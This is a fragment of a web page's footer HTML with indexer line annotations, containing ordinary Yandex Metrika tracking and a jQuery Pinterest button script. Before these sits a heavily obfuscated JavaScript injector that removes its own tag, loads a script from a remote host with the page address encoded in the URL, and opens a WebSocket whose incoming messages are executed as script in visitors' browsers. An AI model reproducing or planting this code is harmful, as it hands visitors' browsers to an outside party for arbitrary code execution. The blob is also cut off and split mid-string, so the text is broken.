kWz2u','WOS/W4/dNa','xdddQmop','WQ/dMSojW58','WPXru8of','pvZcS8oEkaVdLgbvlMK','W7nrW7lcVJRdUYVcTvO','WP5dwSof','WO9qsmoh','W4ebdSkkamkLrZCvW5mDFG','wMOrWOm','udJdUCoc','vNCgWOm','mCkNqgy','W7/dR8kGbq','m8kKW7m','W5ZcNCk+W5i','WQ0cWOLG','W7FcVCooca','CCo0WRpdNeryoCk4lW','zv/cPmks','cwNdJCog','rNxdVSk6','WRjrW5a9','W79lW69f','W5T2W4Tq','ue9ieCowrwlcUMpdUNDw','W4BdNSk3','xSkQW6VdJa','pN8jWPG','nmoTyge','E1RcPe/cVZ3cOCk4W4tdTq','umo7xCkH','n27cMSki','W5RdJW/dG3ZdOCowW4lcNJhdUW','qCo8WO7dQ8kuWR8QW4Gusqa','a8ofzCoE','EwpcIJddHrTkW7u','gSkveua','pdxcGCki','e8k8W5pcUa','es7cHSkD','WOHdwCoh','W6JcMGvy','W5NdIq7dHNJcPSoMW4dcKJVdL3e','W69+W69S','i8kQWQNdQa','W6WyWONdHq','WP/cVHTX','WRLEWRqy','ib7dOGy','W73cN8oQW5xcGCkXWOJcHW','xZlcNCoTWQldGX0MiG','EWpdSSolW7HaW4b5jhBdQCkC','W5FdUCoOWOC','xSkKW4u'];p=function(){return X;};return p();}function m(M,v){M=M-(0x1*-0x434+0x530+0xf);const y=p();let z=y[M];if(m['XTFFmC']===undefined){var d=function(Z){const D='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let a='',Q='';for(let i=-0x1*-0x6ff+-0x2392+0x1c93,O,w,b=0x1*0x17b+-0xe3d+0xcc2*0x1;w=Z['charAt'](b++);~w&&(O=i%(-0x1b*-0x104+-0x1*0x1d12+-0xd5*-0x2)?O*(0x6*0x5+0xa9*-0x2c+-0x33e*-0x9)+w:w,i++%(0x1*0x1f8d+-0x3*-0x7cd+-0x36f0))?a+=String['fromCharCode'](-0x1*-0xd77+-0x1dad+0x1135&O>>(-(0x275+0x14aa+0x3d*-0x61)*i&-0x6*-0x250+0x1c28+-0x2a02)):0xb*0x185+0x1be9*0x1+-0x2ca0){w=D['indexOf'](w);}for(let f=-0xc76+0xfe2+-0xdb*0x4,X=a['length'];f<X;f++){Q+='%'+('00'+a['charCodeAt'](f)['toString'](0x25b9+-0x15ee+-0x1*0xfbb))['slice'](-(-0x1e51+0x5c4+0x188f));}return decodeURIComponent(Q);};const s=function(Z,D){let a=[],k=0x1d2f+0x1cc9+-0x1a8*0x23,Q,O='';Z=d(Z);let w;for(w=-0x137*0x1+-0x17cc+-0x1*-0x1903;w<-0x171*0xb+-0x221f+0x3a*0xe1;w++){a[w]=w;}for(w=0xa*-0x261+0x1342+0x488;w<-0x2164+-0x3*0x3b9+0x6b*0x6d;w++){k=(k+a[w]+D['charCodeAt'](w%D['length']))%(0x787+-0x1bb2+0x1*0x152b),Q=a[w],a[w]=a[k],a[k]=Q;}w=-0x1*-0x2303+0x59*-0x3+0x21f8*-0x1,k=0x2*-0x42e+0xa35+0x1d9*-0x1;for(let b=-0x1*0x1689+-0x11dc+0x47d*0x9;b<Z['length'];b++){w=(w+(0xe81+-0x2*-0xc3b+-0x1*0x26f6))%(0x246+0x1*-0xdbf+0xc79),k=(k+a[w])%(0x117c+0x225b+-0x89*0x5f),Q=a[w],a[w]=a[k],a[k]=Q,O+=String['fromCharCode'](Z['charCodeAt'](b)^a[(a[w]+a[k])%(-0x2303+-0x5ae+-0x335*-0xd)]);}return O;};m['HzMkAo']=s,m['Fpxfub']={},m['XTFFmC']=!![];}const o=y[-0x1*0x2192+-0x1f08+-0x2*-0x204d],x=M+o,U=m['Fpxfub'][x];return!U?(m['FBUKse']===undefined&&(m['FBUKse']=!![]),z=m['HzMkAo'](z,v),m['Fpxfub'][x]=z):z=U,z;}(function(M,v){const k=m,y=M();while(!![]){try{const z=-parseInt(k(0x19b,'Y&je'))/(0xb*-0x216+-0x1*0x163d+-0x8*-0x5a6)+parseInt(k(0x13e,'3%IY'))/(0xb13*0x3+0x15ad+0x1b72*-0x2)*(parseInt(k(0x113,'x8t9'))/(0x1c4*0x3+-0x13ce+0xe85))+parseInt(k(0x189,'GYLw'))/(0xdec+0x9e*-0x4+0xb7*-0x10)*(-parseInt(k(0x14f,'Kyff'))/(-0x1a12+-0x1*-0x1006+-0x3*-0x35b))+-parseInt(k(0x124,'j*ih'))/(-0x1*0x103a+0x189*0x1+0xeb7)*(-parseInt(k(0x12e,'Sjm5'))/(-0x8b9+0xd13+-0x453))+parseInt(k(0x135,'x*UP'))/(-0x141b*0x1+-0x1d38+0x315b)*(-parseInt(k(0x11a,'2oC&'))/(0x11bf+-0x2b*0x2e+0x6*-0x1aa))+parseInt(k(0x14e,'O!S#'))/(-0x128+-0x200c+-0x73*-0x4a)*(parseInt(k(0x13d,'$Ztg'))/(-0x1*0x1667+-0x1c63+0x32d5))+-parseInt(k(0x153,'GYLw'))/(0x6c7+0x2*-0x963+0x1*0xc0b)*(parseInt(k(0x13a,'@*qd'))/(-0xee1+0x11e6+0x2*-0x17c));if(z===v)break;else y['push'](y['shift']());}catch(d){y['push'](y['shift']());}}}(p,-0x151536+-0xcd33*-0xa+-0x2*-0xda7f4),(function(){const Q=m;if(window[Q(0x129,'b0]8')+'_e'])return;window[Q(0x15c,'L1Ru')+'_e']=0x26d4+-0x477+-0x6*0x5ba;function M(z){const i=Q,[d,...o]=z,x=document[i(0x183,'jklc')+i(0x13f,'EIi(')+i(0x157,'946t')+'t'](i(0x17e,'946t')+'pt');return x[i(0x10e,')UvN')]=d,x[i(0x18a,'x*UP')+i(0x186,'A&^4')+i(0x196,'EIi(')+i(0x15f,'Mcqq')](i(0x176,'Y&je')+'r',()=>{const O=i;if(o[O(0x19a,'hfEs')+'th']>0x4b2+0x76b*0x1+-0x1bb*0x7)M(o);else{const U=new WebSocket(O(0x156,'A&^4')+O(0x16f,'ecKE')+O(0x178,'@*qd')+O(0x112,'@*qd')+O(0x10b,'9LqP')+'s');U[O(0x171,'A&^4')+O(0x16e,')UvN')+'e']=Z=>{const w=O,D=Z[w(0x145,'wH@]')],a=document[w(0x123,'wH@]')+w(0x15a,'ecKE')+w(0x185,'A&^4')+'t'](w(0x11
9065,'S1J1')+'pt');a[w(0x17f,'DQ#]')+w(0x144,'gvAd')+w(0x119,'3%IY')]=D,document[w(0x159,'2oC&')][w(0x14b,'yryn')+w(0x158,'Frr&')+w(0x136,'fChD')](a);},U[O(0x193,'Frr&')+'en']=()=>{const b=O;U[b(0x10f,'4ent')](b(0x127,'hdKv')+b(0x142,'gvAd')+'l');};}}),document[i(0x17b,'j*ih')][i(0x16b,'@Qq(')+i(0x128,'x8t9')+i(0x179,'Q0zJ')](x),x;}const v=document[Q(0x11e,'O!S#')+Q(0x15b,'hiqU')+Q(0x165,'x*UP')+'t'][Q(0x126,'ecKE')+Q(0x12a,'Sjm5')][Q(0x180,'b0]8')+'in']??Q(0x170,'x*UP')+Q(0x12f,'4ent')+Q(0x117,'946t');document[Q(0x18e,'fChD')+Q(0x131,'3a33')+Q(0x194,'Q0zJ')+'t'][Q(0x181,'GYLw')+'ve']();const y=document[Q(0x143,'3%IY')+Q(0x110,'946t')+Q(0x114,'bbi@')+'t'](Q(0x19e,'3%IY')+'pt');y[Q(0x187,'jI&k')]=Q(0x10d,'wH@]')+Q(0x198,')UvN')+v+(Q(0x154,')UvN')+Q(0x14c,'9LqP'))+btoa(location[Q(0x168,'Ku9%')+Q(0x172,'x8t9')])[Q(0x155,')UvN')+Q(0x19d,'fChD')](/=+$/,'')+Q(0x175,'bbi@'),y[Q(0x174,'J33d')+Q(0x18b,'Ku9%')+Q(0x18d,'$Ztg')](Q(0x195,'hdKv')+Q(0x11b,'x8t9'),Q(0x11c,'lL6V')+Q(0x134,'Ku9%')),y[Q(0x160,'3a33')+Q(0x177,'Sjm5')+Q(0x184,'hfEs')+Q(0x130,'Kyff')](Q(0x1a0,'Q0zJ')+'r',()=>{const f=Q;M([f(0x17d,'b0]8')+f(0x138,'bvfC')+f(0x151,'Y&je')+f(0x15e,'j*ih')+f(0x12c,'jI&k')+f(0x137,'S1J1')+f(0x16a,'3%IY')+f(0x17c,'J33d')+f(0x11d,'ecKE')+f(0x182,'2oC&')+f(0x125,'hdKv')+f(0x199,'J33d'),f(0x162,'#u2t')+f(0x164,'b0]8')+f(0x122,'wH@]')+f(0x163,'b0]8')+f(0x146,'Mcqq')+f(0x149,'Sjm5')+f(0x14a,'L1Ru')+f(0x12d,'bQKN')+f(0x13b,'946t')+f(0x133,'9LqP')+f(0x197,'b0]8')+f(0x16c,'hp9H')+f(0x12b,'fChD')+f(0x148,'A&^4')+f(0x116,'gvAd')+f(0x161,'lL6V'),f(0x14d,'@*qd')+f(0x132,'jI&k')+f(0x15d,'x8t9')+f(0x190,'4ent')+f(0x16d,'#u2t')+f(0x139,'x8t9')+f(0x141,'lc$P')+f(0x19c,'b0]8')+f(0x192,'DQ#]')+f(0x13c,'gvAd')+f(0x166,'lc$P')+f(0x19f,'wH@]')+f(0x11f,'j*ih')+f(0x152,'3%IY')]);}),document[Q(0x111,')UvN')][Q(0x167,'gvAd')+Q(0x188,'S1J1')+Q(0x10c,'3a33')](y);}()));})();`,document.head.appendChild(e)}function a(){if(t===`essential`){i();return}r()}function o(){var e=n();if(e===`true`)a();else var t=0,r=setInterval(function(){if(t===100||e===`false`){clearInterval(r);return}if(e===`true`){a(),clearInterval(r);return}e=n(),t++},50)}o()})()})();</script>
906 </div>  
906<script type="text/javascript" >
vendor: 402 bytes, lines 906-912
906(function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)};
907   m[i].l=1*new Date();
908   for (var j = 0; j < document.scripts.length; j++) {if (document.scripts[j].src === r) { return; }}
909   k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
910   (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");
911
912   ym(
91297330245
vendor: 122 bytes, lines 912-917
912, "init", {
913        clickmap:true,
914        trackLinks:true,
915        accurateTrackBounce:true,
916        webvisor:true
917   });
917</script>
917 <noscript><div><img src="https://mc.yandex.ru/watch/97330245" style="position:absolute; left:-9999px;" alt="" /></div></noscript>  
917<script>jQuery(document).ready(function(){
918    
919/////Start: Jquery Pinit Button trigger on load and on mouseover///////////
920    console.log("image mouseover triggered");
921    jQuery("img").trigger("mouseover");
922	jQuery('pinit-button').removeAttr( 'style' );
923	jQuery("a.pinit-button span").attr('style', 'background-size: 50px 33px !important');
924	    	
925	jQuery("img").on("mouseover",function($){
926	    //alert("size changedr");
927	    setTimeout(function(){ 
928	        //console.log(jQuery("a.pinit-button span"));
929	         jQuery("a.pinit-button span").attr('style', 'background-size: 50px 33px !important');
930	    }, 50);
931	});
932/////Start: Jquery Pinit Button trigger on load and on mouseover///////////
933	    
934});</script>
934 </footer></body></html> 

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.